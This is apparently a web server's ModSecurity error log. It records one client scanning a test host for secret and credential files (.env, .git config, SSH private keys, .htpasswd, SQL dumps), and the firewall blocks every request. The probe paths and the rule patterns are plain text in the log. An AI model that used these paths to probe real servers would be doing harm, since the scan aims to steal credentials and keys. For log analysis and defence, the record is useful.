[Tue May 27 03:55:09.812090 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukYQAAABA&quot;]
[Tue May 27 03:55:09.812308 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukYQAAABA&quot;]
[Tue May 27 03:55:09.812461 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukYQAAABA&quot;]
[Tue May 27 03:55:09.834788 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react-app/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env.production&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukYgAAABA&quot;]
[Tue May 27 03:55:09.835064 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env.production&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukYgAAABA&quot;]
[Tue May 27 03:55:09.835240 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env.production&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukYgAAABA&quot;]
[Tue May 27 03:55:10.066958 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukbAAAABA&quot;]
[Tue May 27 03:55:10.067185 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukbAAAABA&quot;]
[Tue May 27 03:55:10.067349 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukbAAAABA&quot;]
[Tue May 27 03:55:10.089636 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukbQAAABA&quot;]
[Tue May 27 03:55:10.089866 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukbQAAABA&quot;]
[Tue May 27 03:55:10.090056 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukbQAAABA&quot;]
[Tue May 27 03:55:10.112356 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukbgAAABA&quot;]
[Tue May 27 03:55:10.112564 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukbgAAABA&quot;]
[Tue May 27 03:55:10.112725 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukbgAAABA&quot;]
[Tue May 27 03:55:10.159988 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukcAAAABA&quot;]
[Tue May 27 03:55:10.160224 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukcAAAABA&quot;]
[Tue May 27 03:55:10.160405 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukcAAAABA&quot;]
[Tue May 27 03:55:10.182728 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/master&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/master&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukcQAAABA&quot;]
[Tue May 27 03:55:10.182969 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/master&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukcQAAABA&quot;]
[Tue May 27 03:55:10.183135 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/master&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukcQAAABA&quot;]
[Tue May 27 03:55:10.205440 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukcgAAABA&quot;]
[Tue May 27 03:55:10.205668 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukcgAAABA&quot;]
[Tue May 27 03:55:10.205828 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukcgAAABA&quot;]
[Tue May 27 03:55:10.228128 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;.ssh/authorized_keys&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/authorized_keys found within REQUEST_FILENAME: /.ssh/authorized_keys&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/authorized_keys&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukcwAAABA&quot;]
[Tue May 27 03:55:10.228333 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/authorized_keys&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukcwAAABA&quot;]
[Tue May 27 03:55:10.228484 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/authorized_keys&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukcwAAABA&quot;]
[Tue May 27 03:55:10.250417 2025] [authz_core:error] [pid 3435317] [client 170.39.217.204:23660] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htpasswd
[Tue May 27 03:55:10.272688 2025] [authz_core:error] [pid 3435317] [client 170.39.217.204:23660] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htaccess
[Tue May 27 03:55:10.342115 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukeAAAABA&quot;]
[Tue May 27 03:55:10.342461 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukeAAAABA&quot;]
[Tue May 27 03:55:10.342621 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukeAAAABA&quot;]
[Tue May 27 03:55:10.365096 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukeQAAABA&quot;]
